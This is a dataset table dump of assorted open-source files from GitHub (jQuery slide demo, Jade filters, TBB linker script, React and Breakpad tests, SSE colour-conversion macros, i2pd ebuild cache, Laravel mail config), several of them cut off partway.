text
stringlengths 2
9.79k
| meta
dict | sentences_perturbed
int64 0
2
⌀ | doc_stats
dict |
|---|---|---|---|
<!DOCTYPE html>
<html class="no-js">
<head>
<title>jQuery Presentation Plugin</title>
<meta http-equiv="Content-type" content="text/html; charset=utf-8" />
<script type="text/javascript">(function(H){H.className=H.className.replace(/\bno-js\b/,'js')})(document.documentElement)</script>
<link href="stylesheets/screen.css" type="text/css" rel="stylesheet" media="Screen,projection" />
</head>
<body>
<div id="header">
<div class="container">
<h1>jQuery Presentation Plugin</h1>
</div>
</div>
<div id="content">
<div id="slides">
<div class="slide">
<h2>Slide 1</h2>
<p>Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.</p>
<ul>
<li>Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation</li>
<li>Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.</li>
<li>Here is a short list item</li>
</ul>
</div>
<div class="slide">
<h2>Slide 2</h2>
<p>Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.</p>
<p>Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.</p>
</div>
<div class="slide">
<h2>Slide 3</h2>
<p>Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.</p>
</div>
<div class="slide">
<h2>Slide 4</h2>
<p>Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.</p>
<p>Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.</p>
</div>
<div class="slide">
<h2>Slide 5</h2>
<p>Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.</p>
</div>
</div>
</div>
<div id="footer">
<div class="container">
© 2010 Trevor Davis Viget Labs
</div>
</div>
<script type="text/javascript" src="scripts/jquery.js"></script>
<script type="text/javascript" src="scripts/jquery.presentation.js"></script>
<script type="text/javascript" src="scripts/global.js"></script>
</body>
</html>
|
{
"pile_set_name": "Github"
}
| null | null |
/*!
* Jade - filters
* Copyright(c) 2010 TJ Holowaychuk <tj@vision-media.ca>
* MIT Licensed
*/
module.exports = {
/**
* Wrap text with CDATA block.
*/
cdata: function(str){
return '<![CDATA[\\n' + str + '\\n]]>';
},
/**
* Transform sass to css, wrapped in style tags.
*/
sass: function(str){
str = str.replace(/\\n/g, '\n');
var sass = require('sass').render(str).replace(/\n/g, '\\n');
return '<style type="text/css">' + sass + '</style>';
},
/**
* Transform stylus to css, wrapped in style tags.
*/
stylus: function(str, options){
var ret;
str = str.replace(/\\n/g, '\n');
var stylus = require('stylus');
stylus(str, options).render(function(err, css){
if (err) throw err;
ret = css.replace(/\n/g, '\\n');
});
return '<style type="text/css">' + ret + '</style>';
},
/**
* Transform less to css, wrapped in style tags.
*/
less: function(str){
var ret;
str = str.replace(/\\n/g, '\n');
require('less').render(str, function(err, css){
if (err) throw err;
ret = '<style type="text/css">' + css.replace(/\n/g, '\\n') + '</style>';
});
return ret;
},
/**
* Transform markdown to html.
*/
markdown: function(str){
var md;
// support markdown / discount
try {
md = require('markdown');
} catch (err){
try {
md = require('discount');
} catch (err) {
try {
md = require('markdown-js');
} catch (err) {
try {
md = require('marked');
} catch (err) {
throw new
Error('Cannot find markdown library, install markdown, discount, or marked.');
}
}
}
}
str = str.replace(/\\n/g, '\n');
return md.parse(str).replace(/\n/g, '\\n').replace(/'/g,''');
},
/**
* Transform coffeescript to javascript.
*/
coffeescript: function(str){
str = str.replace(/\\n/g, '\n');
var js = require('coffee-script').compile(str).replace(/\\/g, '\\\\').replace(/\n/g, '\\n');
return '<script type="text/javascript">\\n' + js + '</script>';
}
};
|
{
"pile_set_name": "Github"
}
| null | null |
/*
Copyright 2005-2014 Intel Corporation. All Rights Reserved.
This file is part of Threading Building Blocks. Threading Building Blocks is free software;
you can redistribute it and/or modify it under the terms of the GNU General Public License
version 2 as published by the Free Software Foundation. Threading Building Blocks is
distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the
implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
See the GNU General Public License for more details. You should have received a copy of
the GNU General Public License along with Threading Building Blocks; if not, write to the
Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
As a special exception, you may use this file as part of a free software library without
restriction. Specifically, if other files instantiate templates or use macros or inline
functions from this file, or you compile this file and link it with other files to produce
an executable, this file does not by itself cause the resulting executable to be covered
by the GNU General Public License. This exception does not however invalidate any other
reasons why the executable file might be covered by the GNU General Public License.
*/
{
global:
#define __TBB_SYMBOL( sym ) sym;
#include "lin64ipf-tbb-export.lst"
local:
/* TBB symbols */
*3tbb*;
*__TBB*;
/* ITT symbols */
__itt_*;
/* Intel Compiler (libirc) symbols */
__intel_*;
_intel_*;
?0_memcopyA;
?0_memcopyDu;
?0_memcpyD;
?1__memcpy;
?1__memmove;
?1__serial_memmove;
memcpy;
memset;
};
|
{
"pile_set_name": "Github"
}
| null | null |
/*
* Copyright 2019, GeoSolutions Sas.
* All rights reserved.
*
* This source code is licensed under the BSD-style license found in the
* LICENSE file in the root directory of this source tree.
*/
import expect from 'expect';
import React from 'react';
import ReactDOM from 'react-dom';
import GeoStoryEditor from '../GeoStoryEditor';
import { getPluginForTest } from './pluginsTestUtils';
import { createStateMocker } from '../../reducers/__tests__/reducersTestUtils';
import geostory from '../../reducers/geostory';
import { setEditing } from '../../actions/geostory';
describe('GeoStoryEditor Plugin', () => {
const stateMocker = createStateMocker({geostory});
beforeEach((done) => {
document.body.innerHTML = '<div id="container"></div>';
setTimeout(done);
});
afterEach((done) => {
ReactDOM.unmountComponentAtNode(document.getElementById("container"));
document.body.innerHTML = '';
setTimeout(done);
});
it('Shows GeoStoryEditor plugin hidden in view mode', () => {
const { Plugin } = getPluginForTest(GeoStoryEditor, stateMocker(setEditing(false)));
ReactDOM.render(<Plugin />, document.getElementById("container"));
expect(document.getElementsByClassName('ms-geostory-editor').length).toBe(0);
});
it('Hide GeoStoryEditor plugin visible in edit mode', () => {
const { Plugin } = getPluginForTest(GeoStoryEditor, stateMocker(setEditing(true)));
ReactDOM.render(<Plugin />, document.getElementById("container"));
expect(document.getElementsByClassName('ms-geostory-editor').length).toBe(1);
});
});
|
{
"pile_set_name": "Github"
}
| null | null |
/*
SequenceCursor.cpp
Copyright (C) 2014 Kushview, LLC. All rights reserved.
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
*/
#if 0
// Constructor.
SequenceCursor::SequenceCursor (Sequencer& seq, int64 frame, DataType sync_type)
: owner (seq),
mSyncType (sync_type),
trackCount (0)
{
mFrame = frame;
rtClipSize = 0;
resetClips();
reset();
}
// Destructor.
SequenceCursor::~SequenceCursor()
{
//destroyed();
//owner.removeCursor (this);
rtClips.reset();
}
// Clip sync flag accessor.
void
SequenceCursor::setSyncType (DataType sync)
{
mSyncType = sync;
}
DataType
SequenceCursor::syncType() const
{
return mSyncType;
}
// General bi-directional locate method.
void
SequenceCursor::seek (int64 frame, bool sync)
{
#if 1
if (frame == mFrame)
return;
const int32 ntracks = owner.tracks().size();
int32 index = 0;
while (index < ntracks && index < trackCount.get())
{
const SequencerTrack* track (owner.tracks().getUnchecked (index));
ClipSource* clip = nullptr;
ClipSource* lastClip = rtClips [index];
// Optimize if seeking forward...
if (frame > mFrame)
clip = lastClip;
// Locate first clip not past the target frame position..
clip = seekClip (track, clip, frame);
// Update cursor track clip...
rtClips [index] = clip;
#if 1
// Now something fulcral for clips around...
// FIXME: if (track->sync_type() == m_sync_type)
{
// Tell whether play-head is after loop-start position...
// FIXME: bool is_looping = (frame >= p_seq->loop_start());
// const bool is_looping = frame > 0;
// Care for old/previous clip...
if (lastClip && lastClip != clip)
{
// lastClip->reset (is_looping);
}
// Set final position within target clip...
if (clip && sync)
{
#if 0
// Take care of overlapping clips...
const uint64_t clip_end = clip->frame_end();
Clip::iterator c = clip->position();
Clip::iterator e = track->clips_end();
while (c != e)
{
Clip& clip (*c);
uint64_t clip_start = clip.frame_start();
if (clip_start > clip_end)
{
break;
}
if (frame >= clip_start && frame < clip_start + clip.duration())
{
clip.seek (frame - clip_start);
}
else
{
clip.reset (is_looping);
}
++c;
}
#endif
}
}
#endif
++index;
}
#endif
mFrame = frame;
}
int64
SequenceCursor::frame() const
{
return mFrame;
}
void
SequenceCursor::setFrameTime (int64 frameTime)
{
mFrameTime = frameTime;
mFrameDelta = mFrame - frameTime;
}
int64
SequenceCursor::frameTime() const
{
return mFrameTime;
}
int64
SequenceCursor::setFrameTimeExpected() const
{
return mFrameTime + mFrameDelta;
}
ClipSource*
SequenceCursor::clip (int32 track) const
{
return (track < trackCount.get() ? rtClips [track] : nullptr);
}
ClipSource*
SequenceCursor::seekClip (const SequencerTrack* track, ClipSource* clip, int64 frame) const
{
if (clip == nullptr)
clip = track->firstClip();
while (clip && frame > clip->frameEnd())
clip = clip->next();
if (clip == nullptr)
clip = track->lastClip();
return clip;
}
void
SequenceCursor::addTrack()
{
const int32 newCount = trackCount.get() + 1;
if (rtClipSize < newCount)
{
rtClipSize += newCount;
ClipArray newSources (new ClipSource* [rtClipSize]);
updateClips (newSources.get(), newCount);
rtClips.swap (newSources);
}
else
{
updateClips (rtClips.get(), newCount);
}
while (! trackCount.set (newCount)) { /*spin*/ }
}
void
SequenceCursor::updateTrack (const SequencerTrack* track)
{
const int32 index = track->index();
if (isPositiveAndBelow (index, trackCount.get()))
{
ClipSource* clip = seekClip (track, nullptr, mFrame);
if (clip && clip->isInRangeOf (mFrame))
clip->seekLocalFrame (mFrame - clip->frameStart());
rtClips [index] = clip;
}
}
void
SequenceCursor::removeTrack (const SequencerTrack* track)
{
const int index = track->index();
if (index >= 0 && uint32_t (index) < numTracks())
removeTrack ((uint32_t) index);
}
void
SequenceCursor::removeTrack (int32 track)
{
if (trackCount.set (trackCount.get() - 1))
{
for ( ; track < numTracks(); ++track)
rtClips [track] = rtClips [track + 1];
rtClips [track] = nullptr;
}
}
void
SequenceCursor::updateTrackClip (const SequencerTrack* track)
{
const int index = track->index();
if (index >= 0)
{
ClipSource* clip = rtClips [index];
#if 1
if (clip)
{
if (clip->isInRangeOf (mFrame))
clip->seekLocalFrame (mFrame - clip->frameStart());
else
{
// XXX: clip->reset ();
}
}
#endif
}
}
void
SequenceCursor::updateClips (ClipSource** clips, int32 size)
{
const Array<SequencerTrack*>& tracks (owner.tracks());
const int32 tsize = tracks.size();
int32 index = 0;
while (index < size && index < tsize)
{
ClipSource* clip = seekClip (tracks.getUnchecked (index),
nullptr, mFrame);
if (clip && clip->isInRangeOf (mFrame))
clip->seekLocalFrame (mFrame - clip->frameStart());
clips [index] = clip;
++index;
}
}
void
SequenceCursor::reset()
{
mFrameTime = 0;
mFrameDelta = mFrame;
}
void
SequenceCursor::resetClips()
{
const uint32_t ntracks = owner.numTracks();
rtClipSize = (ntracks << 1);
if (rtClipSize > 0)
{
ClipArray newClips (new ClipSource* [rtClipSize]);
updateClips (newClips.get(), ntracks);
rtClips.swap (newClips);
}
trackCount.set (ntracks);
}
void
SequenceCursor::process (int32 nframes)
{
mFrameTime += nframes;
}
#endif
|
{
"pile_set_name": "Github"
}
| null | null |
package org.openstack4j.core.transport;
import org.openstack4j.api.exceptions.AuthenticationException;
import org.openstack4j.api.exceptions.ClientResponseException;
import org.openstack4j.api.exceptions.ResponseException;
import org.openstack4j.api.exceptions.ServerResponseException;
/**
* Exception Handles for common Http messages and status codes
*
* @author Jeremy Unruh
*/
public class HttpExceptionHandler {
/**
* Maps an Exception based on the underlying status code
*
* @param message the message
* @param status the status
* @return the response exception
*/
public static ResponseException mapException(String message, int status) {
return mapException(message, status, null);
}
/**
* Maps an Exception based on the underlying status code
*
* @param message the message
* @param status the status
* @param cause the cause
* @return the response exception
*/
public static ResponseException mapException(String message, int status, Throwable cause) {
if (status == 401)
return new AuthenticationException(message, status, cause);
if (status >= 400 && status < 499)
return new ClientResponseException(message, status, cause);
if (status >= 500 && status < 600)
return new ServerResponseException(message, status, cause);
return new ResponseException(message, status, cause);
}
}
|
{
"pile_set_name": "Github"
}
| null | null |
// Copyright (c) 2012, Google Inc.
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without
// modification, are permitted provided that the following conditions are
// met:
//
// * Redistributions of source code must retain the above copyright
// notice, this list of conditions and the following disclaimer.
// * Redistributions in binary form must reproduce the above
// copyright notice, this list of conditions and the following disclaimer
// in the documentation and/or other materials provided with the
// distribution.
// * Neither the name of Google Inc. nor the names of its
// contributors may be used to endorse or promote products derived from
// this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
// Original author: Jim Blandy <jimb@mozilla.com> <jimb@red-bean.com>
// dwarf2reader_die_unittest.cc: Unit tests for dwarf2reader::CompilationUnit
#include <stdint.h>
#include <stdlib.h>
#include <iostream>
#include <string>
#include <vector>
#include "breakpad_googletest_includes.h"
#include "common/dwarf/bytereader-inl.h"
#include "common/dwarf/dwarf2reader_test_common.h"
#include "common/dwarf/dwarf2reader.h"
#include "common/using_std_string.h"
#include "google_breakpad/common/breakpad_types.h"
using google_breakpad::test_assembler::Endianness;
using google_breakpad::test_assembler::Label;
using google_breakpad::test_assembler::Section;
using google_breakpad::test_assembler::kBigEndian;
using google_breakpad::test_assembler::kLittleEndian;
using dwarf2reader::ByteReader;
using dwarf2reader::CompilationUnit;
using dwarf2reader::Dwarf2Handler;
using dwarf2reader::DwarfAttribute;
using dwarf2reader::DwarfForm;
using dwarf2reader::DwarfHasChild;
using dwarf2reader::DwarfTag;
using dwarf2reader::ENDIANNESS_BIG;
using dwarf2reader::ENDIANNESS_LITTLE;
using dwarf2reader::SectionMap;
using std::vector;
using testing::InSequence;
using testing::Pointee;
using testing::Return;
using testing::Sequence;
using testing::Test;
using testing::TestWithParam;
using testing::_;
class MockDwarf2Handler: public Dwarf2Handler {
public:
MOCK_METHOD5(StartCompilationUnit, bool(uint64 offset, uint8 address_size,
uint8 offset_size, uint64 cu_length,
uint8 dwarf_version));
MOCK_METHOD2(StartDIE, bool(uint64 offset, enum DwarfTag tag));
MOCK_METHOD4(ProcessAttributeUnsigned, void(uint64 offset,
DwarfAttribute attr,
enum DwarfForm form,
uint64 data));
MOCK_METHOD4(ProcessAttributeSigned, void(uint64 offset,
enum DwarfAttribute attr,
enum DwarfForm form,
int64 data));
MOCK_METHOD4(ProcessAttributeReference, void(uint64 offset,
enum DwarfAttribute attr,
enum DwarfForm form,
uint64 data));
MOCK_METHOD5(ProcessAttributeBuffer, void(uint64 offset,
enum DwarfAttribute attr,
enum DwarfForm form,
const uint8_t *data,
uint64 len));
MOCK_METHOD4(ProcessAttributeString, void(uint64 offset,
enum DwarfAttribute attr,
enum DwarfForm form,
const string& data));
MOCK_METHOD4(ProcessAttributeSignature, void(uint64 offset,
DwarfAttribute attr,
enum DwarfForm form,
uint64 signature));
MOCK_METHOD1(EndDIE, void(uint64 offset));
};
struct DIEFixture {
DIEFixture() {
// Fix the initial offset of the .debug_info and .debug_abbrev sections.
info.start() = 0;
abbrevs.start() = 0;
// Default expectations for the data handler.
EXPECT_CALL(handler, StartCompilationUnit(_, _, _, _, _)).Times(0);
EXPECT_CALL(handler, StartDIE(_, _)).Times(0);
EXPECT_CALL(handler, ProcessAttributeUnsigned(_, _, _, _)).Times(0);
EXPECT_CALL(handler, ProcessAttributeSigned(_, _, _, _)).Times(0);
EXPECT_CALL(handler, ProcessAttributeReference(_, _, _, _)).Times(0);
EXPECT_CALL(handler, ProcessAttributeBuffer(_, _, _, _, _)).Times(0);
EXPECT_CALL(handler, ProcessAttributeString(_, _, _, _)).Times(0);
EXPECT_CALL(handler, EndDIE(_)).Times(0);
}
// Return a reference to a section map whose .debug_info section refers
// to |info|, and whose .debug_abbrev section refers to |abbrevs|. This
// function returns a reference to the same SectionMap each time; new
// calls wipe out maps established by earlier calls.
const SectionMap &MakeSectionMap() {
// Copy the sections' contents into strings that will live as long as
// the map itself.
assert(info.GetContents(&info_contents));
assert(abbrevs.GetContents(&abbrevs_contents));
section_map.clear();
section_map[".debug_info"].first
= reinterpret_cast<const uint8_t *>(info_contents.data());
section_map[".debug_info"].second = info_contents.size();
section_map[".debug_abbrev"].first
= reinterpret_cast<const uint8_t *>(abbrevs_contents.data());
section_map[".debug_abbrev"].second = abbrevs_contents.size();
return section_map;
}
TestCompilationUnit info;
TestAbbrevTable abbrevs;
MockDwarf2Handler handler;
string abbrevs_contents, info_contents;
SectionMap section_map;
};
struct DwarfHeaderParams {
DwarfHeaderParams(Endianness endianness, size_t format_size,
int version, size_t address_size)
: endianness(endianness), format_size(format_size),
version(version), address_size(address_size) { }
Endianness endianness;
size_t format_size; // 4-byte or 8-byte DWARF offsets
int version;
size_t address_size;
};
class DwarfHeader: public DIEFixture,
public TestWithParam<DwarfHeaderParams> { };
TEST_P(DwarfHeader, Header) {
Label abbrev_table = abbrevs.Here();
abbrevs.Abbrev(1, dwarf2reader::DW_TAG_compile_unit,
dwarf2reader::DW_children_yes)
.Attribute(dwarf2reader::DW_AT_name, dwarf2reader::DW_FORM_string)
.EndAbbrev()
.EndTable();
info.set_format_size(GetParam().format_size);
info.set_endianness(GetParam().endianness);
info.Header(GetParam().version, abbrev_table, GetParam().address_size)
.ULEB128(1) // DW_TAG_compile_unit, with children
.AppendCString("sam
|
{
"pile_set_name": "Github"
}
| null | null |
// Copyright 2016 Adrien Descamps
// Distributed under BSD 3-Clause License
/* You need to define the following macros before including this file:
SSE_FUNCTION_NAME
STD_FUNCTION_NAME
YUV_FORMAT
RGB_FORMAT
*/
/* You may define the following macro, which affects generated code:
SSE_ALIGNED
*/
#ifdef SSE_ALIGNED
/* Unaligned instructions seem faster, even on aligned data? */
/*
#define LOAD_SI128 _mm_load_si128
#define SAVE_SI128 _mm_stream_si128
*/
#define LOAD_SI128 _mm_loadu_si128
#define SAVE_SI128 _mm_storeu_si128
#else
#define LOAD_SI128 _mm_loadu_si128
#define SAVE_SI128 _mm_storeu_si128
#endif
#define UV2RGB_16(U,V,R1,G1,B1,R2,G2,B2) \
r_tmp = _mm_mullo_epi16(V, _mm_set1_epi16(param->v_r_factor)); \
g_tmp = _mm_add_epi16( \
_mm_mullo_epi16(U, _mm_set1_epi16(param->u_g_factor)), \
_mm_mullo_epi16(V, _mm_set1_epi16(param->v_g_factor))); \
b_tmp = _mm_mullo_epi16(U, _mm_set1_epi16(param->u_b_factor)); \
R1 = _mm_unpacklo_epi16(r_tmp, r_tmp); \
G1 = _mm_unpacklo_epi16(g_tmp, g_tmp); \
B1 = _mm_unpacklo_epi16(b_tmp, b_tmp); \
R2 = _mm_unpackhi_epi16(r_tmp, r_tmp); \
G2 = _mm_unpackhi_epi16(g_tmp, g_tmp); \
B2 = _mm_unpackhi_epi16(b_tmp, b_tmp); \
#define ADD_Y2RGB_16(Y1,Y2,R1,G1,B1,R2,G2,B2) \
Y1 = _mm_mullo_epi16(_mm_sub_epi16(Y1, _mm_set1_epi16(param->y_shift)), _mm_set1_epi16(param->y_factor)); \
Y2 = _mm_mullo_epi16(_mm_sub_epi16(Y2, _mm_set1_epi16(param->y_shift)), _mm_set1_epi16(param->y_factor)); \
\
R1 = _mm_srai_epi16(_mm_add_epi16(R1, Y1), PRECISION); \
G1 = _mm_srai_epi16(_mm_add_epi16(G1, Y1), PRECISION); \
B1 = _mm_srai_epi16(_mm_add_epi16(B1, Y1), PRECISION); \
R2 = _mm_srai_epi16(_mm_add_epi16(R2, Y2), PRECISION); \
G2 = _mm_srai_epi16(_mm_add_epi16(G2, Y2), PRECISION); \
B2 = _mm_srai_epi16(_mm_add_epi16(B2, Y2), PRECISION); \
#define PACK_RGB565_32(R1, R2, G1, G2, B1, B2, RGB1, RGB2, RGB3, RGB4) \
{ \
__m128i red_mask, tmp1, tmp2, tmp3, tmp4; \
\
red_mask = _mm_set1_epi16((short)0xF800); \
RGB1 = _mm_and_si128(_mm_unpacklo_epi8(_mm_setzero_si128(), R1), red_mask); \
RGB2 = _mm_and_si128(_mm_unpackhi_epi8(_mm_setzero_si128(), R1), red_mask); \
RGB3 = _mm_and_si128(_mm_unpacklo_epi8(_mm_setzero_si128(), R2), red_mask); \
RGB4 = _mm_and_si128(_mm_unpackhi_epi8(_mm_setzero_si128(), R2), red_mask); \
tmp1 = _mm_slli_epi16(_mm_srli_epi16(_mm_unpacklo_epi8(G1, _mm_setzero_si128()), 2), 5); \
tmp2 = _mm_slli_epi16(_mm_srli_epi16(_mm_unpackhi_epi8(G1, _mm_setzero_si128()), 2), 5); \
tmp3 = _mm_slli_epi16(_mm_srli_epi16(_mm_unpacklo_epi8(G2, _mm_setzero_si128()), 2), 5); \
tmp4 = _mm_slli_epi16(_mm_srli_epi16(_mm_unpackhi_epi8(G2, _mm_setzero_si128()), 2), 5); \
RGB1 = _mm_or_si128(RGB1, tmp1); \
RGB2 = _mm_or_si128(RGB2, tmp2); \
RGB3 = _mm_or_si128(RGB3, tmp3); \
RGB4 = _mm_or_si128(RGB4, tmp4); \
tmp1 = _mm_srli_epi16(_mm_unpacklo_epi8(B1, _mm_setzero_si128()), 3); \
tmp2 = _mm_srli_epi16(_mm_unpackhi_epi8(B1, _mm_setzero_si128()), 3); \
tmp3 = _mm_srli_epi16(_mm_unpacklo_epi8(B2, _mm_setzero_si128()), 3); \
tmp4 = _mm_srli_epi16(_mm_unpackhi_epi8(B2, _mm_setzero_si128()), 3); \
RGB1 = _mm_or_si128(RGB1, tmp1); \
RGB2 = _mm_or_si128(RGB2, tmp2); \
RGB3 = _mm_or_si128(RGB3, tmp3); \
RGB4 = _mm_or_si128(RGB4, tmp4); \
}
#define PACK_RGB24_32_STEP1(R1, R2, G1, G2, B1, B2, RGB1, RGB2, RGB3, RGB4, RGB5, RGB6) \
RGB1 = _mm_packus_epi16(_mm_and_si128(R1,_mm_set1_epi16(0xFF)), _mm_and_si128(R2,_mm_set1_epi16(0xFF))); \
RGB2 = _mm_packus_epi16(_mm_and_si128(G1,_mm_set1_epi16(0xFF)), _mm_and_si128(G2,_mm_set1_epi16(0xFF))); \
RGB3 = _mm_packus_epi16(_mm_and_si128(B1,_mm_set1_epi16(0xFF)), _mm_and_si128(B2,_mm_set1_epi16(0xFF))); \
RGB4 = _mm_packus_epi16(_mm_srli_epi16(R1,8), _mm_srli_epi16(R2,8)); \
RGB5 = _mm_packus_epi16(_mm_srli_epi16(G1,8), _mm_srli_epi16(G2,8)); \
RGB6 = _mm_packus_epi16(_mm_srli_epi16(B1,8), _mm_srli_epi16(B2,8)); \
#define PACK_RGB24_32_STEP2(R1, R2, G1, G2, B1, B2, RGB1, RGB2, RGB3, RGB4, RGB5, RGB6) \
R1 = _mm_pack
|
{
"pile_set_name": "Github"
}
| null | null |
BDEPEND=dev-util/ninja dev-util/cmake virtual/pkgconfig
DEFINED_PHASES=compile configure install postinst prepare pretend test
DEPEND=acct-user/i2pd acct-group/i2pd !static? ( dev-libs/boost:=[threads] !libressl? ( dev-libs/openssl:0=[-bindist] ) libressl? ( dev-libs/libressl:0= ) upnp? ( net-libs/miniupnpc:= ) ) static? ( dev-libs/boost:=[static-libs,threads] sys-libs/zlib[static-libs] !libressl? ( dev-libs/openssl:0=[static-libs] ) libressl? ( dev-libs/libressl:0=[static-libs] ) upnp? ( net-libs/miniupnpc:=[static-libs] ) )
DESCRIPTION=A C++ daemon for accessing the I2P anonymous network
EAPI=7
HOMEPAGE=https://github.com/PurpleI2P/i2pd
IUSE=cpu_flags_x86_aes cpu_flags_x86_avx i2p-hardening libressl static +upnp
KEYWORDS=~amd64 ~arm ~arm64 ~ia64 ~ppc ~ppc64 ~sparc ~x86
LICENSE=BSD
RDEPEND=acct-user/i2pd acct-group/i2pd !static? ( dev-libs/boost:=[threads] !libressl? ( dev-libs/openssl:0=[-bindist] ) libressl? ( dev-libs/libressl:0= ) upnp? ( net-libs/miniupnpc:= ) )
SLOT=0
SRC_URI=https://github.com/PurpleI2P/i2pd/archive/2.33.0.tar.gz -> i2pd-2.33.0.tar.gz
_eclasses_=cmake 9f6da23aab151395c55f018fb13a11b2 edos2unix 33e347e171066657f91f8b0c72ec8773 eutils 2d5b3f4b315094768576b6799e4f926e flag-o-matic 09a8beb8e6a8e02dc1e1bd83ac353741 l10n 8cdd85e169b835d518bc2fd59f780d8e multilib 98584e405e2b0264d37e8f728327fed1 multiprocessing cac3169468f893670dac3e7cb940e045 ninja-utils 132cbb376048d079b5a012f5467c4e7f systemd 69be00334d73f9f50261554b94be0879 toolchain-funcs 605c126bed8d87e4378d5ff1645330cb wrapper 4251d4c84c25f59094fd557e0063a974 xdg-utils ff2ff954e6b17929574eee4efc5152ba
_md5_=b32fbd0eff5b30690300ae3200f11299
|
{
"pile_set_name": "Github"
}
| null | null |
<?php
return [
/*
|--------------------------------------------------------------------------
| Mail Driver
|--------------------------------------------------------------------------
|
| Laravel supports both SMTP and PHP's "mail" function as drivers for the
| sending of e-mail. You may specify which one you're using throughout
| your application here. By default, Laravel is setup for SMTP mail.
|
| Supported: "smtp", "sendmail", "mailgun", "mandrill", "ses",
| "sparkpost", "log", "array"
|
*/
'driver' => env('MAIL_DRIVER', 'smtp'),
/*
|--------------------------------------------------------------------------
| SMTP Host Address
|--------------------------------------------------------------------------
|
| Here you may provide the host address of the SMTP server used by your
| applications. A default option is provided that is compatible with
| the Mailgun mail service which will provide reliable deliveries.
|
*/
'host' => env('MAIL_HOST', 'smtp.mailgun.org'),
/*
|--------------------------------------------------------------------------
| SMTP Host Port
|--------------------------------------------------------------------------
|
| This is the SMTP port used by your application to deliver e-mails to
| users of the application. Like the host we have set this value to
| stay compatible with the Mailgun e-mail application by default.
|
*/
'port' => env('MAIL_PORT', 587),
/*
|--------------------------------------------------------------------------
